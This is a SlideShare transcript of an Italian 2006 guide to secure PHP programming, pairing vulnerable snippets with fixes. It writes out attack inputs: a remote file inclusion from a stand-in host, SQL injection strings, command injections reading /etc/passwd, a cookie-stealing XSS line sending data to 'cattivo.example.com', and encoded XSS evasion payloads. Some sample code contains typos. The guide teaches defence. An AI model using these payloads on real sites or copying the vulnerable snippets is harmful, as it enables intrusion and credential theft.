• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
sicurezza e php
 

sicurezza e php

on

  • 3,133 views

 

Statistics

Views

Total Views
3,133
Views on SlideShare
3,130
Embed Views
3

Actions

Likes
1
Downloads
0
Comments
0

2 Embeds 3

http://static.slidesharecdn.com 2
http://cesena.ing2.unibo.it 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    sicurezza e php sicurezza e php Document Transcript

    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it SICUREZZA E PHP Linee guida per una programmazione Php più sicura Stefano Bianchini Superadmin @ http://cesena.ing2.unibo.it 4 Settembre 2006 Prima release Copyright 2006 © CeSeNA , Stefano Bianchini 1
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it Introduzione “Il livello di sicurezza cala esponenzialmente con l’aumentare del numero dei servizi offerti” [Legge di Ce.Se.N.A. sulla sicurezza]. A tutti noi piacerebbe d’estate dormire con le finestre spa- lancate, ma purtroppo i malintenzionati esistono e dobbiamo affrontare il problema. Il concetto di sicurezza in Php può essere visto proprio sotto quest’ottica: se vogliamo tenere le finestre aperte di notte, dobbiamo almeno munirci di una inferriata. Dunque, il primo passo viene effettuato con la consapevolezza di quello che potrebbe succedere. Prerequisiti a questa guida Conoscenze base di Php: funzioni, variabili, tipi di variabili, connessioni a database, utilizzo dei cookies e delle sessioni. Contenuti 1. Register Globals 3 2. Inclusione di files 5 3. Upload di files 6 4. Autenticazioni: metodi a confronto 8 5. Sql injection 10 6. Esecuzioni di comandi remoti 14 7. XSS, Cross Site Scripting 15 8. Password, generatori, password smarrite 19 9. Appendice 20 Obiettivi Rendere i lettori consapevoli dei rischi reali dovuti alla non buona fede degli utenti. Scopo di questo articolo non è dare soluzioni definitive, ma far sapere che possono esistere attacchi e in quale forma possono presentarsi. Copyright 2006 © CeSeNA , Stefano Bianchini 2
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 1. Register Globals La direttiva “register globals” è uno strascico di retrocompatibilità verso una modalità di programmazione in Php di qualche anno fa. Vediamo di cosa si tratta. Attualmente, per accedere a variabili “particolari” (GET, POST, COOKIES, SESSION) bisogna richiamarle tramite array appositi, ad esempio $_POST[“nomevariabile”]. Nelle vecchie versioni, oppure settando ad “ON” la direttiva Register Globals, è possibile richiamare queste variabili come se fossero variabili qualunque, quindi anteponendo il simbolo “$” al nome, ad esempio, di un input di un form HTML. 1. <? 2. //come si legge una variabile "particolare" adesso 3. echo $_POST["nomevariabile"]; 4. //come la si leggeva prima (o con le RG settate ad ON) 5. echo $nomevariabile; 6. ?> 7. <!-- Il form Html --> 8. <FORM METHOD="post" action="<?=$PHPSELF?>"> 9. <input type="text" name="nomevariabile" /> 10. </FORM> Questa direttiva, associata a piccolo errori di programmazione, può dar luogo a numerosi problemi di sicurezza. Consideriamo la seguente procedura di controllo di accesso: 1. <? 2. if ($password==$passwordgiusta) { 3. setcookie("autenticato","true"); 4. } 5. //... ... 6. 7. 8. //Pensavo di leggere il contenuto del cookie 9. //Ma se un intruso chiama pagina.php?autenticato=true ... 10. //Purtroppo il sistema legge $autenticato come true!!! 11. if ($autenticato) { 12. //posso fare qualsiasi cosa 13. } 14. else { 15. //non posso fare niente 16. } 17. ?> Per risolvere il problema è consigliabile disabilitare la direttiva, inizializzare ogni variabile utilizzata e utilizzare gli array globali ($_GET, $_POST, $_SESSION, $_COOKIE) anche in caso di register_globals ON. Tanti vecchi script Php non funzionano per questo motivo! Vediamo l’esempio corretto del codice precedente: Copyright 2006 © CeSeNA , Stefano Bianchini 3
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 1. <? 2. if ($password==$passwordgiusta) { 3. setcookie("autenticato","true"); 4. } 5. //... ... 6. 7. //Ora è giusto il controllo 8. if ($_COOKIE["autenticato"]) { 9. //posso fare qualsiasi cosa 10. } 11. ?> Copyright 2006 © CeSeNA , Stefano Bianchini 4
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 2. Inclusione di files Una delle comodità del Php è quella di poter includere file esterni contenenti funzioni e procedure che ricorrono spesso; vantaggi di questa pratica sono un considerevole risparmio di tempo per il programmatore e un aumento di velocità nell’esecuzione del codice. Questa caratteristica rende più semplice il compito del programmatore nel caso di siti multilingua, ossia il cui contenuto (menù, link) debba essere mostrato in più lingue a seconda della scelta dell’utente. Il seguente codice illustra come sfruttare erroneamente l’inclusione di file php per gestire più linguaggi: 1. <? 2. //ipotizziamo ad esempio, pagina.php?lang=it 3. //oppure pagina.php?lang=en 4. 5. include($_GET["lang"]."php"); 6. 7. //lang = en -> include("en.php"); 8. //lang = it -> include("it.php"); 9. 10. ?> Consideriamo ora la seguente strategia di attacco: 1. 2. GET pagina.php?lang=http://sitocattivo.com/script 3. 4. -> include(http://sitocattivo.com/script.php); Il file script.php potrebbe contenere qualsiasi codice php, che verrebbe eseguito sul webserver! È sempre consigliabile quindi utilizzare una struttura di tipo switch – case: 1. <? 2. switch ($_GET["lang"]) { 3. case "it": include("it.php");break; 4. case "en": include("en.php");break; 5. default: include("it.php");break; 6. } 7. ?> É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF” per disabilitare la possibilità di includere script remoti (cioè non appartenenti al webserver su cui state programmando). Le considerazioni fatte valgono sia per include() che per require(). Copyright 2006 © CeSeNA , Stefano Bianchini 5
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 3. Upload di files Spesso si ha la necessità, all’interno di un sito, di dare la possibilità agli utenti di caricare file sul server: si pensi, ad esempio, a forum, blog, image gallery (i famosi avatar, le immagini personali degli utenti). Metaforicamente è come una gioielleria costretta, pur essendo chiusa dal lavoro, a mostrare preziosi in vetrina, senza le saracinesche abbassate; se così non fosse i clienti che passeggiano la sera in centro non potrebbero vedere e notare i gioielli in vendita! Così come il gioielliere prende tutte le precauzioni possibili (sensori antifurto, vigilanza, vetri antisfondamento), il programmatore può avvalersi di controlli per la sicurezza relativa del server. Elenchiamoli: a) Controlli sulla dimensione Non vogliamo che gli utenti intasino il server (nel caso delle immagini) con foto di parecchi mega! Possiamo utilizzare la funzione filesize() del php, evitando questo problema. Esiste anche un campo form html apposito per le dimensioni massime del file, ma è facilmente aggirabile. È anche possibile utilizzare direttamente l’array $_FILES, come segue: $_FILES['miofile']['size']. Vediamo qualche esempio: 1. <? 2. //Se il file è più grande di 1 MB 3. if (filesize($_FILES['miofile']['tmp_name']>1048576) { 4. die("Il file inviato è troppo grande"); 5. } 6. ?> b) Controlli sull’estensione Considerate che qualsiasi file .php viene eseguito dall’interprete, seguendo le regole salvate nella configurazione del webserver; se quest’ultimo esegue anche altri formati (ad esempio ASP) è importante rifiutare tutte le estensioni “pericolose”. Un esempio di una possibile censura basata sull’estensione: 1. <? 2. //Mostra l'estensione basandosi sul nome del file 3. //ad esempio $nomefile='prova.php' 4. function trova_estensione($nomefile) { 5. //$temp='php.avorp' 6. $temp=strrev($nomefile); 7. //prima occorrenza del punto nella stringa rovesciata 8. $posizione=strpos($temp,"."); Copyright 2006 © CeSeNA , Stefano Bianchini 6
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 9. if (!$posizione) echo "SCONOSCIUTA"; 10. //calcolo della reale posizione del punto nella frase 11. //non rovesciata 12. $posizione_reale=strlen($nomefile)-$posizione; 13. echo substr($nomefile,$posizione_reale); 14. } 15. ?> c) Controlli sul mime/type Tramite l’array globale $_FILES è possibile controllare il mimetype del file appena caricato, prima che questo sia effettivamente salvato sul server. Può venire in aiuto la funzione mime_content_type(), che restituisce il tipo mime del file. 1. <? 2. //Se il file non è una immagine GIF 3. if (mime_content_type($_FILES["miofile"]["tmp_name"])!="image/gif") { 4. die("Il file inviato non è una immagine GIF!"); 5. } 6. ?> d) Controlli sul contenuto È possibile aprire il file per cercarvi all’interno strutture conosciute (sequenze di bytes comuni per i PNG, GIF ecc.). 1. <? 2. // borrowed from InfectedAttachmentCheck 3. // phPOP3clean by James Heinrich <info@silisoftware.com> 4. // available at http://phpop3clean.sourceforge.net 5. function check_real_type($BinayData) { 6. $filetype_lookup = array( 7. 'gif' => '^GIF', 8. 'jpeg' => '^xFFxD8xFF', 9. 'png' => '^x89x50x4Ex47x0Dx0Ax1Ax0A', 10. 'tiff' => '^(IIx2Ax00|MMx00x2A)', 11. 'bmp' => '^BM', 12. 'swf' => '^(F|C)WS', 13. 'gz' => '^x1Fx8Bx08', 14. 'zip' => '^PKx03x04', 15. 'rar' => '^Rar!', 16. 'exe' => '^MZ', 17. ); 18. foreach ($filetype_lookup as $ext => $pattern) { 19. if (preg_match('/'.$pattern.'/s', $BinaryData)) { 20. $piece_fileext = $ext; 21. return $ext; 22. } 23. } 24. } 25. ?> Copyright 2006 © CeSeNA , Stefano Bianchini 7
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 4. Autenticazioni: metodi a confronto Consideriamo l’ipotesi di una autenticazione utente / password salvati in un database. Una volta che l’utente abbia correttamente inserito i campi richiesti, il server deve riconoscerlo in ogni successiva azione, senza aver bisogno che vengano reinseriti per ogni pagina le credenziali. Per fare ciò possiamo ricorrere principalmente a tre metodi. Il primo di questi è l’utilizzo di un cookie il quale viene interpretato come un “flag” di una autenticazione già effettuata. Analizziamo il codice citato in precedenza: 1. <? 2. if ( /* utente e password giusti */) { 3. setcookie("autenticato","true"); 4. } 5. //... 6. if ($_COOKIE["autenticato"]=="true") { 7. //fai tutto ciò che vuoi 8. } 9.. ?> Questo metodo, che utilizza esclusivamente un cookie, è da evitare poiché molto insicuro. Se l’intruso comprende che basta un cookie di nome “autenticato” con valore “true” per accedere, è molto semplice che replichi quest’ultimo (un cookie è facilmente riproducibile). L’autenticazione deve, quindi, lasciare “tracce” sia lato client (in modo che il php possa richiederlo al browser come credenziale) sia lato server (traccia inalterabile e non riproducibile). In questo caso viene in aiuto il concetto di sessione; vediamo uno schema di funzionamento: Lato client Salvo in un cookie il session_id Utente e password giusti? Sul server viene salvato un file con nome session_id Lato server contenente le variabili di sessione Una sessione php “pura” non è immune all’attacco Man In The Middle. La session_id è memorizzata nel cookie (oppure inviata via GET) e come tale intercettabile da un intruso in ascolto (session hijacking). Non è sufficiente quindi memorizzare la session_id ma è necessario Copyright 2006 © CeSeNA , Stefano Bianchini 8
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it memorizzare lato server anche informazioni che identificano (quasi) univocamente il client, come l’indirizzo IP e il browser utilizzato, ad esempio. Il terzo metodo utilizza proprio queste ulteriori misure di sicurezza, appoggiandosi ad un database Mysql. Vediamo le tabelle del database: 1. <? 2. /* 3. CREATE TABLE `sessioni` ( 4. `sesid` varchar(255) NOT NULL default '', 5. `time` int(11) NOT NULL default '0', 6. `ip` varchar(20) NOT NULL default '', 7. `admin` enum('1','0') NOT NULL default '1', 8. `utente` varchar(255) NOT NULL default '', 9. `user_id` int(11) NOT NULL default '0', 10. PRIMARY KEY (`sesid`) 11. ); 12. */ 13. /* 14. CREATE TABLE `utenti` ( 15. `id` int(11) NOT NULL auto_increment, 16. `name` varchar(50) NOT NULL default '', 17. `username` varchar(25) NOT NULL default '', 18. `email` varchar(100) NOT NULL default '', 19. `password` varchar(100) NOT NULL default '', 20. `usertype` varchar(25) NOT NULL default '', 21. PRIMARY KEY (`id`) 22. ); 23. */ 24. E il codice relativo alle funzioni utilizzate: 25. function user_check($username,$userpas){ 26. //la prudenza non mai troppa, vedi SQL injection 27. $username=mysql_escape_string($username); 28. $userpas=mysql_escape_string($userpas); 29. 30. //Tralasciamo il codice per collegarsi al DB 31. // e passiamo direttamente alla query 32. $result=mysql_query("SELECT id,username,password FROM utenti WHERE 33. username = '".$username."' AND password='".md5($userpas)."'"); 34. 35. if (mysql_num_rows($result)==0) { 36. die("Nome utente o password errati."); 37. } 38. $row_obj=mysql_fetch_object($result); 39. $user_id=$row_obj->id; 40. mysql_free_result($result); 41. 42. //Genera session id e la sua scadenza 43. $sesid = md5(time()); 44. //il cookie scade dopo 20 minuti 45. setcookie("sessioncookie", $sesid, time()+1200); 46. //Sul database salvo una session_id cifrata 47. //(risultato di un hash tra la session_id originale e l'indirizzo IP 48. //dell'utente, nonché del suo browser 49. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE 50. NT']); Copyright 2006 © CeSeNA , Stefano Bianchini 9
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 51. //la sessione sul DB scade dopo 20 minuti 52. $time = time() + 1200; 53. 54. mysql_query("INSERT INTO sessioni(sesid,time,ip,admin,utente,user_id) 55. VALUES('$criptsessionid','$time','".$_SERVER['REMOTE_ADDR']."', 56. '0','$username','$user_id')"); 57. //Torno alla pagina principale, naturamente ora l'utente è loggato 58. header("Location:index.php"); 59. } 60. 61. function logout() { 62. $sesid=$_COOKIE["sessioncookie"]; 63. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE 64. NT']); 65. setcookie("sessioncookie", "0", time()); 66. exec_query("DELETE FROM sessioni WHERE sesid='$criptsessionid'",0); 67. } 68. 69. //Controlla la sessione in ogni pagina 70. function session_check($sesid) { 71. $sesid=$_COOKIE["sessioncookie"]; 72. if ($sesid=="") {header("Location: login.php");} else { 73. mysql_query("DELETE FROM sessioni WHERE (time+60) < ".time()); 74. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE 75. NT']); 76. $check_time = mysql_query("SELECT sesid,time FROM sessioni WHERE sesid = 77. '$criptsessionid'"); 78. $time_row = @mysql_fetch_array($check_time); 79. $bitis = $time_row["time"]; 80. if ($bitis < time()){ 81. die("<center>Spiacenti, la tua sessione &egrave; scaduta. Per 82. favore fai di nuovo il <a href="login.php" 83. target="_parent">login</a>...</center>"); 84. } 85. }//else 86. } 87. ?> Come si nota, la funzione user_check viene richiamata una sola volta (durante il login) per il controllo utente – password e in caso positivo ha inizio la “sessione”. La funzione session_check controlla le credenziali dell’utente basandosi sulla session_id del cookies, sull’ip e sul browser e viene richiamata in ogni pagina ad accesso controllato. La funzione logout termina la sessione. In questo modo il cookie ha solo una parte dell’informazione per accedere alla sessione: gli altri due ingredienti sono l’indirizzo IP del cliente e lo User Agent (e se un intruso riesce a replicare anche quelli, facendo un Man In The Middle e un IpSpoofing beh…allora se lo merita!) Un’ultima considerazione sulla “vita” (usualmente chiamata LT, LiveTime) data al meccanismo di sessione (qualsiasi metodo). È bene infatti dare una scadenza relativamente breve, ma lunga abbastanza da permettere di lavorare tranquillamente (se dopo 5 secondi scade, non si riesce neanche a leggere una pagina; se scade dopo 24 ore, è un po’ rischioso…). Copyright 2006 © CeSeNA , Stefano Bianchini 10
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 5. Sql Injection «SQL injection is a security vulnerability that occurs in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another» [Wikipedia, http://en.wikipedia.org/wiki/Sql_injection]. Possiamo vedere una SQL injection come una minaccia concreta per i sistemi di autenticazione. Vediamo infatti qualche esempio di questo attacco: 1. <? 2. $utente=$_POST["username"]; 3. $password=md5($_POST["password"]); 4. if (mysql_num_rows(mysql_query("SELECT utente,password FROM utenti " 5. ."WHERE utente='$utente' AND password='$password'"))>0) { 6. //autenticato correttamente 7. } 8. ?> In questo caso, se postiamo come nome utente la stringa «admin’ OR 1=1 ;» la query assume il seguente aspetto: 1. SELECT utente,password FROM UTENTI 2. WHERE utente = ‘admin’ OR 1=1 ;‘ AND password=’something’ Con il codice di autenticazione precedente, abbiamo appena ricevuto i diritti dell’amministratore! Tutto perché siamo riusciti ad iniettare codice SQL utilizzando apici e punto e virgola per commentare il controllo sulla password. Vediamo alcuni metodi per contrastare questo attacco. Attualmente il php mette a disposizione funzioni per “valicare l’input”. In particolare, censurare i caratteri particolari che permettono all’intruso di inserire codice SQL a piacimento (ad esempio il carattere ‘). Le api standard del nostro linguaggio preferito ci vengono in aiuto con mysql_escape_string() e mysql_real_escape_string() (quest’ultima tiene conto dell'attuale set di caratteri della connessione). Queste funzioni non aggiungono le sequenze di escape a caratteri come ‘%’ ed a ‘_’. Dobbiamo però anche considerare altri errori (voluti e non) da parte degli utenti: stringhe al posto di valori numerici, valori di lunghezza troppo elevata (possibile buffer overflow). Possiamo utilizzare funzioni native del php per il controllo del tipo di variabile come is_numeric(), is_string(), is_int(), is_float() e troncare stringhe di lunghezza eccessiva con substr(). Copyright 2006 © CeSeNA , Stefano Bianchini 11
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it Riassumiamo questi controlli: 1. <? 2. //Mette in sicurezza la stringa, eventualmente 3. //la tronca in base alla lunghezza max 4. function check_string($stringa,$lunghezzamax=0) { 5. $t_string=mysql_escape_string($stringa); 6. if ($lunghezzamax>0) { 7. $t_string=substr($5_string,0,$lunghezzamax); 8. } 9. return $t_string; 10. } 11. 12. //Controlla se è un numero 13. //altrimenti restituisce 0 14. //@ param $tipo = 'int', 'float', '' (numero generico) 15. function check_number($numero,$tipo='') { 16. switch($tipo) { 17. case 'int': 18. if (is_int($numero)) { return $numero; } 19. else { return 0; } 20. case 'float': 21. if (is_float($numero)) { return $numero; } 22. else { return 0; } 23. default: 24. if (is_numeric($numero)) { return $numero; } 25. else { return 0; } 26. } 27. } 28. ?> Controlli lato client possono essere usati per la comodità dall’utente, ma affiancati sempre a controlli lato server (Javascript può essere disabilitato o modificato!). Anche prendere misure preventive aumenta la sicurezza: ad esempio evitare che al momento dell’iscrizione l’utente utilizzi caratteri e parole riservate (apici, doppi apici, parole come “SELECT”, “GRANT”, “UNION”…) Chiaramente prima di eseguire qualsiasi query questi caratteri e parole devono essere censurati da una funzione apposita. 1. <? 2. //variabile utilizzata come globale 3. //per memorizzare gli errori 4. $feedback=''; 5. function account_namevalid($name) { 6. global $feedback; 7. // Non vogliamo spazi 8. if (strrpos($name,' ') > 0) { 9. $feedback .= " There cannot be any spaces in the name."; 10. return false; 11. } 12. 13. // Deve contenere almeno un carattere alfabetico 14. if (strspn($name,"abcdefghijklmnopqrstuvwxyz 15. ABCDEFGHIJKLMNOPQRSTUVWXYZ") == 0) { 16. $feedback .= "There must be at least one character."; 17. return false; 18. } 19. Copyright 2006 © CeSeNA , Stefano Bianchini 12
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 20. // deve contenere solo caratteri "legali" 21. if (strspn($name,"abcdefghijklmnopqrstuvwxyz 22. ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_")!= strlen($name)) { 23. $feedback .= " Illegal character in name. "; 24. return false; 25. } 26. 27. // lunghezza minima e massima 28. if (strlen($name) < 5) { 29. $feedback .= " Name is too short. It must be at least 5 chars. "; 30. return false; 31. } 32. if (strlen($name) > 15) { 33. $feedback .= "Name is too long. It must be less than 15 chars."; 34. return false; 35. } 36. 37. // Nomi illegali da censurare 38. if (eregi("^((root)|(bin)|(daemon)|(adm)|(lp)|(sync)|(shutdown)" 39. ."|(halt)|(mail)|(news)|(union)" 40. . "|(uucp)|(select)|(grant)|(mysql)|(httpd)|(nobody)|(dummy)" 41. . "|(www)|(cvs)|(shell)|(ftp)|(irc)|(debian)" 42. ."|(ns)|(download))$",$name)) { 43. $feedback .= "Name is reserved."; 44. return 0; 45. } 46. if (eregi("^(anoncvs_)",$name)) { 47. $feedback .= "Name is reserved for CVS."; 48. return false; 49. } 50. 51. return true; 52. } 53. ?> Copyright 2006 © CeSeNA , Stefano Bianchini 13
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 6. Esecuzione di comandi remoti L’esecuzione di comandi remoti avviene tramite i comandi php exec(), system(), passthru(). Nei sistemi posix like, però, l’utilizzo di particolari apici rovesciati ( ` ). Gli apici rovesciati (backsticks) eseguono il comando contenuto e restituiscono l ’output. Questo porta a falle nella sicurezza, nei sistemi dove andiamo ad eseguire comandi con parametri specificati dall’utente; consideriamo infatti questo scenario: 1. <? 2. $host=$_GET["host"]; 3. $esegui = exec('nmap '.$host, $output); 4. var_dump($output); 5. 6. ?> Poiché gli apici rovesciati eseguono ciò che è contenuto al loro interno, se proviamo a richiedere pagina.php?host=`cat /etc/passwd` Il risultato sarà un errore di nmap, ma l’istruzione cat verrà eseguita ma non completamente visualizzata. Pensate però che succede se mettete una istruzione di tipo wget (serve per scaricare file remoti): riuscite a inserire nel server un file qualsiasi! Le risorse del php sono infinite, e quest’ultimo rende disponibili funzioni per eliminare gli apici rovesciati, escapeshellcmd() per i comandi e escapeshellarg() per gli argomenti (parametri). 1. <? 2. function secure_exec($comando,$parametri,& $output) { 3. $safe = array(); 4. $safe['comando'] = escapeshellcmd($comando); 5. $safe['parametri'] = escapeshellarg($parametri); 6. $esegui = exec($safe['comando']." ".$safe['parametri'], $output, $return); 7. return $return; 8. } 9. ?> La funzione appena esposta mette al sicuro anche da iniezioni di codice indipendenti dagli apici, sfruttando il simbolo di pipe “|” che è comune ai vari sistemi operativi. Vediamo un esempio di attacco (consideriamo il codice di nmap precedente): 1. GET pagina.php?host=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd 2. 3. Che esegue il comando 4. nmap /dev/null | cat /etc/passwd Questo invece, a causa dell’ordine imposto dalla pipe, mostrerà il contenuto del file contenente le password! Copyright 2006 © CeSeNA , Stefano Bianchini 14
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 7. XSS Cross Site Script Bei tempi, quando le chat erano ancora in CGI e si aggiornavano con il tag meta- refresh…mi ricordo che per fare impazzire un po’ di gente postavo: Ciao a tutti! <script language=”Javascript”>alert(‘Un virus è entrato nel tuo computer!’);</script> Tutti disperati perché pensavano di aver preso un virus, e i moderatori indaffarati a spiegare che era “solo” Javascript. I tempi sono cambiati, è vero, ma il problema è rimasto lo stesso. Si è evoluto, ha trovato nuovi modi per nascere, ma in sostanza è rimasto lo stesso. Sto parlando dell’inserimento arbitrario di codice scripting (Javascript, Livescript e via dicendo) all’interno di forum e simili. È cognizione comune che Javascript e i linguaggi client side non possano arrecare danni al computer nel quale vengono eseguiti: questo è vero, con Javascript non si riesce a cancellare files, formattare l’hard disk, scaricare virus…e allora dove sta il problema di sicurezza? Purtroppo questi linguaggi hanno libero accesso ai tanto amati cookies, utilizzati da noi programmatori per tenere traccia dell’utente (in tutti i metodi visti in precedenza, vedi paragrafo 4). Questa peculiarità, aggiunta alle potenzialità di un linguaggio server side residente in un sito “cattivo”, rende i nostri prodotti vulnerabili agli attacchi XSS. Consideriamo infatti un semplice forum che salvi in database direttamente ciò che l’utente scrive in una textarea: Senza controlli sul salvataggio, questa messaggio verrà inserita nel database, con il risultato ad ogni accesso alla pagina, verrà eseguito il codice Javascript (in questo caso il browser mostrerà un alert con la scritta “XSS”). Ora passiamo a qualcosa di più rischioso: Ciao, penso che <script> document.location=’http://cattivo.example.com/script.php’+document.cookies </script> Copyright 2006 © CeSeNA , Stefano Bianchini 15
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it Immaginiamo che script.php sia del codice php che permetta ad un intruso di salvare i nostri cookies… Certo, il terzo metodo di autenticazione (cookie con session_id, indirizzo IP, tipo di browser e Mysql) è parecchio resistente anche ad attacchi XSS (ma la sicurezza certa non esiste). La prima cosa che viene in mente sarebbe di eliminare i tag “SCRIPT” dalle frasi prima di salvarle; questo però non è abbastanza, perché possibile sfruttare vulnerabilità di interpretazione di altri tag: body, img, iframe e così via. Vediamo alcuni esempi: <IMG SRC="javascript:alert('XSS');"> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IMG SRC=JaVaScRiPt:alert('XSS')> <!--Case Insensitive--> Gli esempi sono molteplici; inoltre è possibile celare parole riservate (“javascript:” e così via) con particolari codifiche (UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex encoding). Vediamo qualche esempio [ from http://ha.ckers.org/xss.html ]: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#1 01;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00 00112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0 000039&#0000088&#0000083&#0000083&#0000039&#0000041> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72& #x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> La soluzione migliore è impedire che l’utente riesca ad inserire qualsiasi tag html: il risultato sarà solo testo, effetto grafico basso, ma sicuramente non conterrà codice XSS. Questo può essere fatto con la funzione htmlentities() nativa di php. Vediamo un esempio di prima e dopo: 1. <? 2. //Prima 3. $stringa="<script>alert('XSS');</script>"; 4. //Dopo: &lt;script&gt;alert('XSS');&lt;/script&gt; 5. echo htmlentities($stringa); 6. ?> Questa funzione permette anche di specificare il tipo di codifica utilizzato. Per una sicurezza ulteriore (più che altro per non mostrare a video tag html non “esteticamente gratificanti”) si può ricorrere alla seguente funzione: 1. <? 2. /** 3. * Cleans text of all formating and scripting code 4. */ 5. function cleanText ( &$text ) { 6. $text = preg_replace( "'<script[^>]*>.*?</script>'si", '', $text ); 7. $text = preg_replace( '/<as+.*?href="([^"]+)"[^>]*>([^<]+)</a>/is', '2 (1)', $text ); 8. $text = preg_replace( '/<!--.+?-->/', '', $text ); Copyright 2006 © CeSeNA , Stefano Bianchini 16
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 9. $text = preg_replace( '/{.+?}/', '', $text ); 10. $text = preg_replace( '/&nbsp;/', ' ', $text ); 11. $text = preg_replace( '/&amp;/', ' ', $text ); 12. $text = preg_replace( '/&quot;/', ' ', $text ); 13. $text = strip_tags( $text ); 14. $text = htmlspecialchars( $text ); 15. 16. return $text; 17. } 18. ?> In certi casi è possibile e concreta la necessità di un sito di permettere agli utenti qualche miglioria grafica (testo in grassetto, corsivo, centrato, inserimento di immagini). La prima soluzione può essere utilizzare il cosiddetto BBCode: “BBCode is an abbreviation for Bulletin Board Code, the markup language used to format posts in many message boards. The available tags are usually indicated by rectangular brackets surrounding a keyword, and they are parsed by the message board system before being translated into a markup language the web browsers understands, usually HTML or XHTML. BBCode was devised and put to use in order to provide a safer, easier and more limited way of allowing users to format their messages. Previously, many message boards allowed the users to include HTML, which could be used to break/imitate parts of the layout, or run JavaScript. Some implementations of BBCode have suffered problems related to the way they translate the BBCode into HTML, which could negate the security that was intended to be given by BBCode.” [Wikipedia, http://en.wikipedia.org/wiki/BBCode]. Quindi: BBCode come tentativo di limitare Javascript, con il risultato che certe implementazioni trasformavano direttamente le parentesi quadre ( [b] ) in simboli minore/maggiore dell’html (<b>). Una buona implementazione può però evitare molti problemi, e scongiurare attacchi XSS. A meno che non si tratti di inserimento di immagini: infatti il BBCode trasforma la struttura: [IMG]http://www.example.com/image.gif[/IMG] in <IMG SRC=”http://www.example.com/image.gif”> Un’ipotesi di attacco sarebbe quindi : [IMG]javascript:alert(‘XSS’)[/IMG] -> <IMG SRC=”javascript:alert(‘XSS’)”> Questo problema è risolvibile analizzando il contesto: l’utente deve inserire immagini con percorso remoto, della forma http://www.example.com/image.gif. Tutto sta quindi nel controllare che il percorso dell’immagine sia un URL valido, con la funzione che segue: 1. <? 2. function isValidURL($url) 3. { Copyright 2006 © CeSeNA , Stefano Bianchini 17
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 4. return preg_match('|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0- 9]+)?(/.*)?$|i', $url); 5. } 6. 7. ?> Ultimamente però, soprattutto considerando inserimento di news, blog eccetera sta prendendo sempre più piede l’editor Wysiwyg (What You See Is What You Get) . Un esempio famoso può essere FKEditor (http://www.fckeditor.net/). Questi editor utilizzano direttamente codice html (per una immediata visualizzazione in textarea tramite javascript). Il trucco del BBCode quindi salta ed è necessario trovare una ulteriore soluzione al problema. Un aiuto ci giunge dalla rete: un geniale sviluppatore ha avuto l’idea e la pazienza di scrivere una classe php dedicata alla validazione del codice html (Php Input Filter, http://cyberai.com/inputfilter/index.php, scaricabile liberamente secondo GPL all’indirizzo http://cyberai.com/inputfilter/input_filter.zip). Questa classe permette, in maniera efficace e veloce, di censurare tag, attributi e codici XSS non voluti e di lasciare inalterati tutti gli altri. Un consiglio? Usatela! Una considerazione finale: la maggior parte degli attacchi XSS non funziona con Mozilla Firefox, ma solo con Internet Explorer, Netscape e talvolta anche con Opera (vedi http://ha.ckers.org/xss.html per maggiori dettagli). In particolare, Internet Explorer (ultima versione attuale) avvisa l’utente che è stato bloccato del contenuto “pericoloso”. Chissà perché questo avviso ogni tanto funziona ogni tanto no… quindi: Copyright 2006 © CeSeNA , Stefano Bianchini 18
